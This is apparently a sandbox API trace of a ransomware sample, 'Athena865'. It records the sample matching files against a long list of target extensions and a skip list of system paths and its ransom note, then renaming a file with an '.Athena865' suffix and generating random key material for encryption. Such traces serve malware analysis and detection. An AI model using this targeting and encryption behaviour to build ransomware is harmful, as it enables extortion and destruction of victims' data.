[0132.712] lstrlenW (lpString=".sys") returned 4 [0132.712] lstrcmpiW (lpString1="PE00034_.WMF", lpString2=".sys") returned 1 [0132.712] lstrlenW (lpString="PE00034_.WMF") returned 12 [0132.712] lstrlenW (lpString="bak") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.712] lstrlenW (lpString="ba_") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.712] lstrlenW (lpString="dbb") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.712] lstrlenW (lpString="vmdk") returned 4 [0132.712] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.712] lstrlenW (lpString="rar") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.712] lstrlenW (lpString="zip") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.712] lstrlenW (lpString="tgz") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.712] lstrlenW (lpString="vbox") returned 4 [0132.712] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.712] lstrlenW (lpString="vdi") returned 3 [0132.712] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.713] lstrlenW (lpString="vhd") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.713] lstrlenW (lpString="vhdx") returned 4 [0132.713] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.713] lstrlenW (lpString="avhd") returned 4 [0132.713] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.713] lstrlenW (lpString="db") returned 2 [0132.713] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.713] lstrlenW (lpString="db2") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.713] lstrlenW (lpString="db3") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.713] lstrlenW (lpString="dbf") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.713] lstrlenW (lpString="mdf") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.713] lstrlenW (lpString="mdb") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.713] lstrlenW (lpString="sql") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.713] lstrlenW (lpString="sqlite") returned 6 [0132.713] lstrcmpiW (lpString1="4_.WMF", lpString2="sqlite") returned -1 [0132.713] lstrlenW (lpString="sqlite3") returned 7 [0132.713] lstrcmpiW (lpString1="34_.WMF", lpString2="sqlite3") returned -1 [0132.713] lstrlenW (lpString="sqlitedb") returned 8 [0132.713] lstrcmpiW (lpString1="034_.WMF", lpString2="sqlitedb") returned -1 [0132.713] lstrlenW (lpString="xml") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.713] lstrlenW (lpString="$er") returned 3 [0132.713] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.714] lstrlenW (lpString="4dd") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.714] lstrlenW (lpString="4dl") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.714] lstrlenW (lpString="^^^") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.714] lstrlenW (lpString="abs") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.714] lstrlenW (lpString="abx") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.714] lstrlenW (lpString="accdb") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.714] lstrlenW (lpString="accdc") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.714] lstrlenW (lpString="accde") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.714] lstrlenW (lpString="accdr") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.714] lstrlenW (lpString="accdt") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.714] lstrlenW (lpString="accdw") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.714] lstrlenW (lpString="accft") returned 5 [0132.714] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.714] lstrlenW (lpString="adb") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.714] lstrlenW (lpString="adb") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.714] lstrlenW (lpString="ade") returned 3 [0132.714] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.714] lstrlenW (lpString="adf") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.715] lstrlenW (lpString="adn") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.715] lstrlenW (lpString="adp") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.715] lstrlenW (lpString="alf") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.715] lstrlenW (lpString="ask") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.715] lstrlenW (lpString="btr") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.715] lstrlenW (lpString="cat") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.715] lstrlenW (lpString="cdb") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.715] lstrlenW (lpString="ckp") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.715] lstrlenW (lpString="cma") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.715] lstrlenW (lpString="cpd") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.715] lstrlenW (lpString="dacpac") returned 6 [0132.715] lstrcmpiW (lpString1="4_.WMF", lpString2="dacpac") returned -1 [0132.715] lstrlenW (lpString="dad") returned 3 [0132.715] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.715] lstrlenW (lpString="dadiagrams") returned 10 [0132.715] lstrcmpiW (lpString1="00034_.WMF", lpString2="dadiagrams") returned -1 [0132.715] lstrlenW (lpString="daschema") returned 8 [0132.715] lstrcmpiW (lpString1="034_.WMF", lpString2="daschema") returned -1 [0132.715] lstrlenW (lpString="db-journal") returned 10 [0132.716] lstrcmpiW (lpString1="00034_.WMF", lpString2="db-journal") returned -1 [0132.716] lstrlenW (lpString="db-shm") returned 6 [0132.716] lstrcmpiW (lpString1="4_.WMF", lpString2="db-shm") returned -1 [0132.716] lstrlenW (lpString="db-wal") returned 6 [0132.716] lstrcmpiW (lpString1="4_.WMF", lpString2="db-wal") returned -1 [0132.716] lstrlenW (lpString="dbc") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.716] lstrlenW (lpString="dbs") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.716] lstrlenW (lpString="dbt") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.716] lstrlenW (lpString="dbv") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.716] lstrlenW (lpString="dbx") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.716] lstrlenW (lpString="dcb") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.716] lstrlenW (lpString="dct") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.716] lstrlenW (lpString="dcx") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0132.716] lstrlenW (lpString="ddl") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0132.716] lstrlenW (lpString="dlis") returned 4 [0132.716] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0132.716] lstrlenW (lpString="dp1") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0132.716] lstrlenW (lpString="dqy") returned 3 [0132.716] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0132.716] lstrlenW (lpString="dsk") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0132.717] lstrlenW (lpString="dsn") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0132.717] lstrlenW (lpString="dtsx") returned 4 [0132.717] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0132.717] lstrlenW (lpString="dxl") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0132.717] lstrlenW (lpString="eco") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0132.717] lstrlenW (lpString="ecx") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0132.717] lstrlenW (lpString="edb") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0132.717] lstrlenW (lpString="epim") returned 4 [0132.717] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0132.717] lstrlenW (lpString="fcd") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0132.717] lstrlenW (lpString="fdb") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0132.717] lstrlenW (lpString="fic") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0132.717] lstrlenW (lpString="flexolibrary") returned 12 [0132.717] lstrlenW (lpString="fm5") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0132.717] lstrlenW (lpString="fmp") returned 3 [0132.717] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0132.717] lstrlenW (lpString="fmp12") returned 5 [0132.717] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0132.717] lstrlenW (lpString="fmpsl") returned 5 [0132.717] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0132.718] lstrlenW (lpString="fol") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0132.718] lstrlenW (lpString="fp3") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0132.718] lstrlenW (lpString="fp4") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0132.718] lstrlenW (lpString="fp5") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0132.718] lstrlenW (lpString="fp7") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0132.718] lstrlenW (lpString="fpt") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0132.718] lstrlenW (lpString="frm") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0132.718] lstrlenW (lpString="gdb") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.718] lstrlenW (lpString="gdb") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.718] lstrlenW (lpString="grdb") returned 4 [0132.718] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0132.718] lstrlenW (lpString="gwi") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0132.718] lstrlenW (lpString="hdb") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0132.718] lstrlenW (lpString="his") returned 3 [0132.718] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0132.718] lstrlenW (lpString="ib") returned 2 [0132.718] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0132.719] lstrlenW (lpString="idb") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0132.719] lstrlenW (lpString="ihx") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0132.719] lstrlenW (lpString="itdb") returned 4 [0132.719] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0132.719] lstrlenW (lpString="itw") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0132.719] lstrlenW (lpString="jet") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0132.719] lstrlenW (lpString="jtx") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0132.719] lstrlenW (lpString="kdb") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0132.719] lstrlenW (lpString="kexi") returned 4 [0132.719] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0132.719] lstrlenW (lpString="kexic") returned 5 [0132.719] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0132.719] lstrlenW (lpString="kexis") returned 5 [0132.719] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0132.719] lstrlenW (lpString="lgc") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0132.719] lstrlenW (lpString="lwx") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0132.719] lstrlenW (lpString="maf") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0132.719] lstrlenW (lpString="maq") returned 3 [0132.719] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0132.719] lstrlenW (lpString="mar") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0132.720] lstrlenW (lpString="marshal") returned 7 [0132.720] lstrcmpiW (lpString1="34_.WMF", lpString2="marshal") returned -1 [0132.720] lstrlenW (lpString="mas") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0132.720] lstrlenW (lpString="mav") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0132.720] lstrlenW (lpString="maw") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0132.720] lstrlenW (lpString="mdbhtml") returned 7 [0132.720] lstrcmpiW (lpString1="34_.WMF", lpString2="mdbhtml") returned -1 [0132.720] lstrlenW (lpString="mdn") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0132.720] lstrlenW (lpString="mdt") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0132.720] lstrlenW (lpString="mfd") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0132.720] lstrlenW (lpString="mpd") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0132.720] lstrlenW (lpString="mrg") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0132.720] lstrlenW (lpString="mud") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0132.720] lstrlenW (lpString="mwb") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0132.720] lstrlenW (lpString="myd") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0132.720] lstrlenW (lpString="ndf") returned 3 [0132.720] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0132.720] lstrlenW (lpString="nnt") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0132.721] lstrlenW (lpString="nrmlib") returned 6 [0132.721] lstrcmpiW (lpString1="4_.WMF", lpString2="nrmlib") returned -1 [0132.721] lstrlenW (lpString="ns2") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0132.721] lstrlenW (lpString="ns3") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0132.721] lstrlenW (lpString="ns4") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0132.721] lstrlenW (lpString="nsf") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0132.721] lstrlenW (lpString="nv") returned 2 [0132.721] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0132.721] lstrlenW (lpString="nv2") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0132.721] lstrlenW (lpString="nwdb") returned 4 [0132.721] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0132.721] lstrlenW (lpString="nyf") returned 3 [0132.721] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0132.722] lstrlenW (lpString="odb") returned 3 [0132.722] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.722] lstrlenW (lpString="odb") returned 3 [0132.722] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.722] lstrlenW (lpString="oqy") returned 3 [0132.722] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0132.722] lstrlenW (lpString="ora") returned 3 [0132.722] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0132.722] lstrlenW (lpString="orx") returned 3 [0132.722] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0132.723] lstrlenW (lpString="owc") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0132.723] lstrlenW (lpString="p96") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0132.723] lstrlenW (lpString="p97") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0132.723] lstrlenW (lpString="pan") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0132.723] lstrlenW (lpString="pdb") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0132.723] lstrlenW (lpString="pdm") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0132.723] lstrlenW (lpString="pnz") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0132.723] lstrlenW (lpString="qry") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0132.723] lstrlenW (lpString="qvd") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0132.723] lstrlenW (lpString="rbf") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0132.723] lstrlenW (lpString="rctd") returned 4 [0132.723] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0132.723] lstrlenW (lpString="rod") returned 3 [0132.723] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0132.723] lstrlenW (lpString="rodx") returned 4 [0132.723] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0132.723] lstrlenW (lpString="rpd") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0132.724] lstrlenW (lpString="rsd") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0132.724] lstrlenW (lpString="sas7bdat") returned 8 [0132.724] lstrcmpiW (lpString1="034_.WMF", lpString2="sas7bdat") returned -1 [0132.724] lstrlenW (lpString="sbf") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0132.724] lstrlenW (lpString="scx") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0132.724] lstrlenW (lpString="sdb") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0132.724] lstrlenW (lpString="sdc") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0132.724] lstrlenW (lpString="sdf") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0132.724] lstrlenW (lpString="sis") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0132.724] lstrlenW (lpString="spq") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0132.724] lstrlenW (lpString="te") returned 2 [0132.724] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0132.724] lstrlenW (lpString="teacher") returned 7 [0132.724] lstrcmpiW (lpString1="34_.WMF", lpString2="teacher") returned -1 [0132.724] lstrlenW (lpString="tmd") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0132.724] lstrlenW (lpString="tps") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0132.724] lstrlenW (lpString="trc") returned 3 [0132.724] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.724] lstrlenW (lpString="trc") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.725] lstrlenW (lpString="trm") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0132.725] lstrlenW (lpString="udb") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0132.725] lstrlenW (lpString="udl") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0132.725] lstrlenW (lpString="usr") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0132.725] lstrlenW (lpString="v12") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0132.725] lstrlenW (lpString="vis") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0132.725] lstrlenW (lpString="vpd") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0132.725] lstrlenW (lpString="vvv") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0132.725] lstrlenW (lpString="wdb") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0132.725] lstrlenW (lpString="wmdb") returned 4 [0132.725] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0132.725] lstrlenW (lpString="wrk") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0132.725] lstrlenW (lpString="xdb") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0132.725] lstrlenW (lpString="xld") returned 3 [0132.725] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0132.725] lstrlenW (lpString="xmlff") returned 5 [0132.725] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0132.725] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.Athena865") returned 73 [0132.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.727] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15708) returned 1 [0132.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.728] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.729] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.729] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.729] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4060, lpName=0x0) returned 0x154 [0132.730] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4060) returned 0x100000 [0132.732] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.732] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.732] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.733] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.733] CloseHandle (hObject=0x154) returned 1 [0132.733] CloseHandle (hObject=0x17c) returned 1 [0132.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.734] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2=".") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="..") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="windows") returned -1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="bootmgr") returned 1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="temp") returned -1 [0132.734] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="pagefile.sys") returned 1 [0132.734] lstrcmpiW 